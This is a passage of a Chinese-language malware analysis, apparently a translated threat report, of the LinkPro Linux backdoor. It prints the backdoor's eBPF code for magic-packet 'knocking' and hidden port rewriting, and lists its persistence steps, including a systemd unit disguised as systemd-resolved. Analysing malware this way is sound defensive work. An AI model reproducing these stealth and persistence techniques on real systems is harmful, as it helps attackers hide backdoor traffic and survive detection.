leaf="">tcph).window); // (Knock packet detected)</span><br/><span leaf="">    __u64 </span><span style="color: rgb(0, 92, 197);"><span leaf="">exp</span></span><span leaf=""> = bpf_ktime_get_ns() + WIN_NS; // current </span><span style="color: rgb(0, 92, 197);"><span leaf="">time</span></span><span leaf=""> + 1 hour</span><br/><span leaf="">    bpf_map_update_elem(&amp;knock_map, &amp;sip_h, &amp;</span><span style="color: rgb(0, 92, 197);"><span leaf="">exp</span></span><span leaf="">, BPF_ANY);</span><br/><span leaf="">    bpf_printk(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[KNOCK-SET] key=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%x</span></span><span style="color: rgb(0, 56, 120);"><span leaf=""> exp=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%llu</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">, sip_h, </span><span style="color: rgb(0, 92, 197);"><span leaf="">exp</span></span><span leaf="">);</span><br/><span leaf="">    __u16 in_port = get_in_port()</span><br/><span leaf="">    struct rev_key rk = {</span><br/><span leaf="">        in_port,</span><br/><span leaf="">        sip_h,</span><br/><span leaf="">        sport_h</span><br/><span leaf="">    }</span><br/><span leaf="">    bpf_map_update_elem(&amp;rev_port, &amp;rk, &amp;dport_h, BPF_ANY);</span><br/><span leaf="">    bpf_printk(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[KNOCK] </span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%x</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%u</span></span><span style="color: rgb(0, 56, 120);"><span leaf=""> -&gt; </span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%u</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">, sip_h, sport_h, dport_h);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> XDP_DROP;</span><br/><span leaf="">}</span></code></pre><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><em style="margin-top: 0px;"><span leaf="">Open</span></em><p><span leaf="">状态: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">程序会持续监测来自 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">knock_map</span></code><span leaf="">中已登记源 IP 的 TCP 数据包,有效窗口为收到魔法数据包后的一个小时。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">这种情况下,如果数据包的目的端口尚未等于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">in_port</span></code><span leaf="">( 2233 ) ,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">就会修改入站包的 TCP 头,将目的端口改写为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">in_port</span></code><span leaf="">。同时,为了防止数据包在内核下游被丢弃,TCP 校验和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tcp_header-&gt;check_sum</span></code><span leaf="">也会被重新计算并写回 TCP 头。最后,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">XDP_PASS</span></code><span leaf="">,把数据包交给后续的网络栈继续处理。</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_printk</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[FOUND] 找到有效敲门记录：sip=%x dport=%u&#34;</span></span><span leaf="">, sip_h, dport_h); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// (Found valid knock records)</span></span><br/><span leaf="">__u16 in_port </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">get_in_port</span></span><span leaf="">()</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (dport_h </span><span style="color: rgb(215, 58, 73);"><span leaf="">==</span></span><span leaf=""> in_port) {</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_printk</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[SKIP] 已是内部端口：sip=%x dport=%u&#34;</span></span><span leaf="">, sip_h, dport_h); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// (Already an internal port)</span></span><br/><span leaf="">}</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span leaf=""> {</span><br/><span leaf="">    __u16 old_n </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> tcph</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">dest;</span><br/><span leaf="">    __u32 old32 </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> (__u32)old_n;</span><br/><span leaf="">    __u16 new_n </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_htons</span></span><span leaf="">(in_port);</span><br/><span leaf="">    __u32 new32 </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> (__u32)new_n;</span><br/><span leaf="">    __u32 diff  </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_csum_diff</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">old32, </span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span leaf="">, </span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">new32, </span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span leaf="">, ~(data</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">tcph).check); </span><span style="color: rgb(106, 115, 125);"><span leaf="">//TCP Checksum Diff</span></span><br/><span leaf="">    (data</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">tcph).dest  </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> new_n;</span><br/><span leaf="">    tcph</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">check </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">fold_csum</span></span><span leaf="">(diff);</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_printk</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[XDP] REWRITE %x:%u %u→%u&#34;</span></span><span leaf="">, sip_h, sport_h, dport_h, in_port);</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后,如果目的端口为 9999,程序还会输出额外的内核调试信息:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[DBG-9999] 收到9999端口包: sip=%x sport=%u, fin=%d syn=%d rst=%d win=%u</span></code><em style="margin-bottom: 0px;"><span leaf="">( 收到来自 9999 端口的数据包 )</span></em></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[MISS] 未找到敲门记录: sip=%x dport=%u</span></code><em style="margin-bottom: 0px;"><span leaf="">( 未找到敲门记录 )</span></em></li></ul><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">tc_egress</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc_egress</span></code><span leaf="">eBPF 程序在所附加的网络接口上侦听出站流量,监测源端口为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">in_port</span></code><span leaf="">( 2233 ) 的 TCP 数据包。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">如果观察到这样的数据包,程序会到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">rev_port</span></code><span leaf="">map 中查找此前由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">写入的 key </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">rev_key = { in_port, dip, dport}</span></code><em style="margin-bottom: 0px;"><span leaf="">( dip = 目的 IP )</span></em><span leaf="">。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">一旦命中,程序会修改出站包的 TCP 头,把它的源端口恢复为入站时被 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">改写之前的原始目的端口。校验和也会被一并重新计算。最终无论命中与否,数据包都会继续走完处理流程 ( 返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TC_ACT_OK</span></code><span leaf="">) 。</span></p></li></ul><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ((data</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">tcph).source </span><span style="color: rgb(215, 58, 73);"><span leaf="">==</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_htons</span></span><span leaf="">(</span><span style="color: rgb(111, 66, 193);"><span leaf="">get_in_port</span></span><span leaf="">())){</span><br/><span leaf="">    __u16 dport_n </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> tcph</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">dest;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">rev_key</span></span><span leaf=""> rk = {</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">get_in_port</span></span><span leaf="">(),</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_ntohl</span></span><span leaf="">((data</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">iph).daddr),</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_ntohs</span></span><span leaf="">(dport_n)</span><br/><span leaf="">    }</span><br/><span leaf="">    __u16 </span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">knock </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_map_lookup_elem</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">rev_port, </span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">rk);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">!</span></span><span leaf="">knock) {</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_printk</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[TC-MISS] 未找到端口映射：dip=%x dport=%u&#34;</span></span><span leaf="">, </span><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_ntohl</span></span><span leaf="">((data</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">iph).daddr), </span><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_ntohs</span></span><span leaf="">(dport_n)); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// (Port mapping not found)</span></span><br/><span leaf="">    }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><span leaf=""> {</span><br/><span leaf="">        __u16 new_n </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_htons</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">knock);</span><br/><span leaf="">        __u16 old_n </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> (data</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">tcph).source;</span><br/><span leaf="">        __u32 o32   </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> (__u32)old_n;</span><br/><span leaf="">        __u32 n32   </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> (__u32)new_n;</span><br/><span leaf="">        __u32 diff  </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_csum_diff</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">o32, </span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span leaf="">, </span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">n32, </span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span leaf="">, ~(data</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">tcph).check);</span><br/><span leaf="">        (data</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">tcph).source </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> new_n;</span><br/><span leaf="">        (data</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">tcph).check  </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">fold_csum</span></span><span leaf="">(diff);</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_printk</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;[TC] REWRITE_BACK %u→%u&#34;</span></span><span leaf="">, </span><span style="color: rgb(111, 66, 193);"><span leaf="">get_in_port</span></span><span leaf="">(), </span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">knock);</span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因此,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">的目标是让命令接收状态的激活以收到一个初始&#34;魔法数据包&#34;为前提条件。一旦魔法数据包被接收,操作员就拥有一个为期一小时的窗口期 ( 期间可以再次&#34;续期&#34; ) ,可以向任意目的端口发送命令。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">程序的作用是修改入站 TCP 数据包的头部,把原始目的端口替换为 LinkPro 的侦听端口——本场景中即 2233。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">回应操作员的命令时,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tc_egress</span></code><span leaf="">程序的作用则是修改出站包,把源端口 ( 2233 ) 还原为原始端口。这样做的目的,是让操作员可以通过前端防火墙允许的任意端口来激活 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">的命令接收能力,同时也让前端防火墙日志与受害主机网络活动之间的关联分析更加困难。比如: 操作员将命令发往受害 web 服务器的 443/https 端口,实际上数据包在主机内部已经被转发到了 2233 端口。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012304" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=72bc1a38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSia1wbz4v4cZZiaBEibFChmGACnqRZUUtfRW08DovIrziaBU0ib7QKTPTCFzUwvibUSJRlVws7KYuQTaw10rKCjPHnnd6OESUFhHyRm0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">LinkPro Network Packet Processing</span></figcaption></figure><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">持久化</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了在主机上保持驻留,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">把自己 &#34;伪装&#34; 成 </span><strong><span leaf="">systemd-resolved</span></strong><span leaf="">服务 ( 即名称解析服务 ) 。</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">以读写权限重新挂载根分区 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/</span></code><span leaf="">,执行命令: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">mount -o remount,rw /</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">把自身可执行文件复制到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/usr/lib/.system/.tmp~data.resolveld</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/systemd/system/systemd-resolveld.service</span></code><span leaf="">添加一个 </span><em><span leaf="">systemd</span></em><span leaf="">unit 文件:</span><pre style="margin: 15px 0px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">[Unit]</span><br/><span leaf="">Description=Network Name Resolution Manager</span><br/><span leaf="">Documentation=man:systemd-resolved.service(8)</span><br/><span leaf="">After=network.target</span><br/><span leaf="">[Service]</span><br/><span leaf="">Type=simple</span><br/><span leaf="">ExecStart=/usr/lib/.system/.tmp~data.resolveld</span><br/><span leaf="">Restart=always</span><br/><span leaf="">RestartSec=5</span><br/><span leaf="">KillSignal=SIGTERM</span><br/><span leaf="">ProtectSystem=full</span><br/><span leaf="">PrivateTmp=true</span><br/><span leaf="">NoNewPrivileges=true</span></code></pre></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过时间戳擦改 ( timestomping ) 把 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation 